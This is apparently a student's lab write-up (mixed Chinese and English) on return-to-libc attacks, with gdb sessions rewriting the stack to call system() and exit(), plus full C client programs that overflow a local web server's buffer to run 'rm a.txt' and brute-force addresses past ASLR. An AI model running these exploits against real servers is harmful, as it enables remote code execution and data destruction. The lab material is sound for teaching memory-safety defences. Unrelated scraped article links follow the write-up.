title: return-to-libc

date: 2016-01-11 17:40:30

categories: information-security

tags: return-to-libc

  • Exercise1

    The Ubuntu 12.04 OS you've been using in this lab has the non-executable stack support by default.

    To compile a C program, just use the -z noexecstack option to mark the stack segment non-executable.

    Re-compile the vulnerable program stack2.c from lab 1:

    $ make stack2

    • perform a buffer-overflow attack as you do in Lab1, can you succeed any more? What do you observe?
      不能成功 栈不可执行

  • Exercise2

    Use gdb to smash the function stack, the C program offered you here is exec3.c.

    • As follows:
      ...
    p system
    $9=0xf7e5fe80
    p/x $ebp+16
    $10=0xffffd278
    p/x $ebp+4
    $11=0xffffd26c
    set *0xffffd278=0x736c
    x/s 0xffffd278
    0xffffd278:"ls"
    p/x $ebp+12
    $12=0xffffd274
    set *0xffffd274=0xffffd278
    set *0xffffd26c=0xf7e5fe80
    c
    Return to fun!
    browser.c exec3 exec3.c Makefile server stack2 stack2.c Program received signal SIGSEGV,Segmentation fault

    As you can see, the command system(“ls”) constructed by gdb runs smoothly, but not perfect.

    What triggered the “SIGSEG” fault? Modify the process memory in gdb just like above,

    to to let the process exit gracefully.

    • we can call exit(0) after calling system("ls")
      ...
    p system
    $9=0xf7e5fe80
    p exit
    $10=0xf7e53b60
    p/x $ebp+16
    $11=0xffffd278
    p/x $ebp+8
    $12=0xffffd270
    set *0xffffd270=0xf7e53b60
    p/x $ebp+4
    $13=0xffffd26c
    set *0xffffd278=0x736c
    x/s 0xffffd278
    0xffffd278:"ls"
    p/x $ebp+12
    $14=0xffffd274
    set *0xffffd274=0xffffd278
    set *0xffffd26c=0xf7e5fe80
    c
    Return to fun!
    browser.c exec3 exec3.c Makefile server stack2 stack2.c

  • Exercise3

    try to perform a return-to-libc attack by contructing and sending a malicious request containing your shellcode.

    Your shellcode can still delete a file from the web server, or can do something else.
      gdb调试,确定服务器s数组到$ebp的距离1056
    $ebp+4存放system地址
    $ebp+8存放exit地址
    $ebp+12存放"rm a.txt"地址
    构造req数组
    char req[len];
    memset(req,'A',len);
    req[len-4]='\r';
    req[len-3]='\n';
    req[len-2]='\r';
    req[len-1]='\n';
    req[0]='r';
    req[1]='m';
    req[2]='\t';
    req[3]='a';
    req[4]='.';
    req[5]='t';
    req[6]='x';
    req[7]='t';
    req[8]='\0';
    req[1060]=0x60;//system地址
    req[1061]=0xe3;
    req[1062]=0xe4;
    req[1063]=0xb7; req[1064]=0x50;//exit地址
    req[1065]=0x11;
    req[1066]=0xe4;
    req[1067]=0xb7; req[1068]=0xb8;//"rm a.txt"地址
    req[1069]=0xef;
    req[1070]=0xff;
    req[1071]=0xbf;
    运行结果,成功删除了服务器端文件a.txt
    再次运行,显示文件a.txt不存在
    • 完整代码browser.c
      #include <stdio.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>
    #include <fcntl.h>
    #include <sys/shm.h> #define PORT 8080 int main(int argc, char *argv[])
    {
    int port = PORT;
    if (argc>1)
    port = atoi(argv[1]); int sock_client = socket(AF_INET,SOCK_STREAM, 0);//sock fd struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port); //server port addr.sin_addr.s_addr = inet_addr("127.0.0.1"); ///server ip address if (connect(sock_client, (struct sockaddr *)&addr, sizeof(addr)) < 0)
    {
    perror("connect");
    exit(1);
    } printf("sock_client = %d\n",sock_client); #define len 1100
    char req[len];
    memset(req,'A',len);
    req[len-4]='\r',
    req[len-3]='\n',
    req[len-2]='\r',
    req[len-1]='\n'; req[0]='r';
    req[1]='m';
    req[2]='\t';
    req[3]='a';
    req[4]='.';
    req[5]='t';
    req[6]='x';
    req[7]='t';
    req[8]='\0'; req[1060]=0x60;
    req[1061]=0xe3;
    req[1062]=0xe4;
    req[1063]=0xb7; req[1064]=0x50;
    req[1065]=0x11;
    req[1066]=0xe4;
    req[1067]=0xb7; req[1068]=0xb8;
    req[1069]=0xef;
    req[1070]=0xff;
    req[1071]=0xbf; write(sock_client,req,len);
    char resp[1024];
    int num = 0;
    while(read (sock_client, &resp[num], 1))
    num++;
    resp[num] = 0;
    printf("Response = %s\n",resp);
    close(sock_client); return 0;
    }

  • Exercise4

    Now, turn on the Ubuntu’s address space layout randomization:

    sysctl -w kernel.randomize_va_space=2

    Try to attack the web server using buffer overflow. Can you succeed?

    • Where is the buffer’s address? Is it exploitable?
      不能成功 地址变化

  • Exercise5

    To defeat ASLR, we can use the Brute Force attack technique,

    which is simple but effective in guessing the variable buffer address.

    The basic idea is that although we don’t know the exact address of the buffer,

    however, we know its range, say, from 0x00000000 to 0xbfffffff.

    So, by trying each address in turn, we’ll hit the right address sooner or later.

    • 爆破
      打开地址随机化
    打开栈不可执行
    通过gdb调试多次,观察得出:
    &ebp地址距离s数组的距离不变,始终是1056
    system地址0xbf****60
    exit地址0xbf******
    s地址0xbf******
    忽略程序的正常退出,通过创建5层循环,从0x00遍历到0xff
    在每一次循环结束后,客户端会断开连接
    在新一次循环时,客户端会再次连接
    • 完整代码browser.c
      #include <stdio.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>
    #include <fcntl.h>
    #include <sys/shm.h> #define PORT 8080 int main(int argc, char *argv[])
    {
    int port = PORT;
    if (argc>1)
    port = atoi(argv[1]); int sock_client;
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port); //server port
    addr.sin_addr.s_addr = inet_addr("127.0.0.1"); //server ip address printf("sock_client = %d\n",sock_client); #define len 1100
    char req[len];
    memset(req,'A',len);
    req[len-4]='\r',
    req[len-3]='\n',
    req[len-2]='\r',
    req[len-1]='\n'; req[0]='r';
    req[1]='m';
    req[2]='\t';
    req[3]='a';
    req[4]='.';
    req[5]='t';
    req[6]='x';
    req[7]='t';
    req[8]='\0'; int sys1,sys2;
    int s1,s2,s3;
    int dist=1056; req[dist+4]=0x60;
    req[dist+7]=0xb7;
    req[dist+15]=0xbf; for(sys1=0x1;sys1<=0xff;++sys1)
    {
    for(sys2=0x1;sys2<=0xff;++sys2)
    {
    for(s1=0x1;s1<=0xff;++s1)
    {
    for(s2=0x1;s2<=0xff;++s2)
    {
    for(s3=0x1;s3<=0xff;++s3)
    {
    req[dist+5]=sys1;
    req[dist+6]=sys2;
    req[dist+12]=s1;
    req[dist+13]=s2;
    req[dist+14]=s3; int sock_client = socket(AF_INET,SOCK_STREAM, 0);//sock fd if (connect(sock_client, (struct sockaddr *)&addr, sizeof(addr)) < 0)
    {
    perror("connect");
    exit(1);
    } write(sock_client,req,len); close(sock_client); }
    }
    }
    } }
    return 0;
    }

信息安全实验二:return-to-libc的更多相关文章

  1. 20155236 《信息安全概论》实验二(Windows系统口令破解)实验报告

    20155236 <信息安全概论>实验二(Windows系统口令破解)实验报告 北京电子科技学院(BESTI) 实验报告 课程:信息安全概论 班级:1552 姓名:范晨歌 学号:20155 ...

  2. 科软-信息安全实验1-ICMP重定向

    目录 一 前言 二 Talk is cheap, show me the code 三 效果演示 四 遇到的问题&解决 一 前言 文章不讲解理论知识哈,想学习理论知识的,认真听课

  3. 20145215实验二 Java面向对象程序设计

    一.实验内容 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装.继承.多态 初步掌握UML建模 熟悉S.O.L.I.D原则 了解设计模式 二.实验步骤 (一)单元测试 (1)三种代码 伪代码: ...

  4. 实验二 用C语言表示进程的调度

    实验二 一. 实验目的 通过模拟进程的调度,进一步了解进程的调度的具体过程. 二. 实验内容和要求 1.进程PCB的结构体定义 2.定义队列 3.输入进程序列 4.排序(按到位时间) 5.输出进程运行 ...

  5. 实验二 Java面向对象程序设计

    实验二 Java面向对象程序设计 实验内容 1. 初步掌握单元测试和TDD 2. 理解并掌握面向对象三要素:封装.继承.多态 3. 初步掌握UML建模 4. 熟悉S.O.L.I.D原则 5. 了解设计 ...

  6. 实验二 PHP基本语法实验

    实验二 PHP基本语法实验 0 实验准备 0.1实验环境和相关工具软件 具体到的机房环境,请在Windowsxp环境下做本实验: l  操作系统:Windowsxp l  Web服务器:Apache ...

  7. 20145213《Java程序设计》实验二Java面向对象程序设计实验报告

    20145213<Java程序设计>实验二Java面向对象程序设计实验报告 实验内容 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装,继承,多态 初步掌握UML建模 熟悉S.O. ...

  8. 20145206《Java程序设计》实验二Java面向对象程序设计实验报告

    20145206<Java程序设计>实验二Java面向对象程序设计实验报告 实验内容 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装.继承.多态 初步掌握UML建模 熟悉S.O. ...

  9. 20145308刘昊阳 《Java程序设计》实验二 Java面向对象程序设计 实验报告

    20145308刘昊阳 <Java程序设计>实验二 Java面向对象程序设计 实验报告 实验名称 Java面向对象程序设计 实验内容 初步掌握单元测试和TDD 理解并掌握面相对象三要素:封 ...

随机推荐

  1. Spreadsheet Calculator 电子表格计算器 (Uva 215)

    原题:https://uva.onlinejudge.org/external/2/215.pdf 有一个M x N的表格,每个单元格是个数字或者表达式.表达式由单元格编号和+ - 号组成 输出单元格 ...

  2. Fork 一个仓库并同步

    Fork 一个示例仓库 Fork 是对一个仓库的克隆.克隆一个仓库允许你自由试验各种改变,而不影响原始的项目. 一般来说,forks 被用于去更改别人的项目(贡献代码给已经开源的项目)或者使用别人的项 ...

  3. input type=file accept中可以限制的文件类型

    在上传文件的时候,需要限制指定的文件类型. <input type="file" accept="image/*" /> accept表示可以上传文 ...

  4. python Eve RESTFul 尝试笔记

    0.前言 最近重点研究了yeelink平台的原理和使用,yeelink平台和多数云平台设计一样应用了RESTFul框架.嵌入式侧(或者是客服端侧)的相关技术研究的比较充分(个人这么认为),是不是该弄弄 ...

  5. db2 存储过程迁移方法

    大家在迁移数据库时,存储过程一般也要迁移过去,但一般有两个问题: 1. 非常多存储过程有先后关系(存储过程调用存储过程),假设存储过程数量少,还能手动操作.假设量大,那真是要疯了. 2. 存储过程过大 ...

  6. java.net.MulticastSocket Example--reference

    In this example we are going to explain how to use MulticastSocket in Java, in order to enable a ser ...

  7. [转] When exactly does the virtual table pointer (in C++) gets set for an object?

    PS: http://stackoverflow.com/questions/7934540/when-exactly-does-the-virtual-table-pointer-in-c-gets ...

  8. MySQL创建新用户、增加账户的2种方法及使用实例

    可以用两种方式创建MySQL账户:1.使用GRANT语句2.直接操作MySQL授权表最好的方法是使用GRANT语句,因为这样更精确,错误少.创建超级用户: mysql> GRANT ALL PR ...

  9. Linux 系统运行级别

    Linux运行级别从0-6,共7个.  0:关机.不能将系统缺省运行级别设置为0,否则无法启动.  1:单用户模式,只允许root用户对系统进行维护.  2:多用户模式,但不能使用NFS(相当于Win ...

  10. el和jstl

    <%@page import="cn.bdqn.bean.News"%> <%@ page language="java" import=&q ...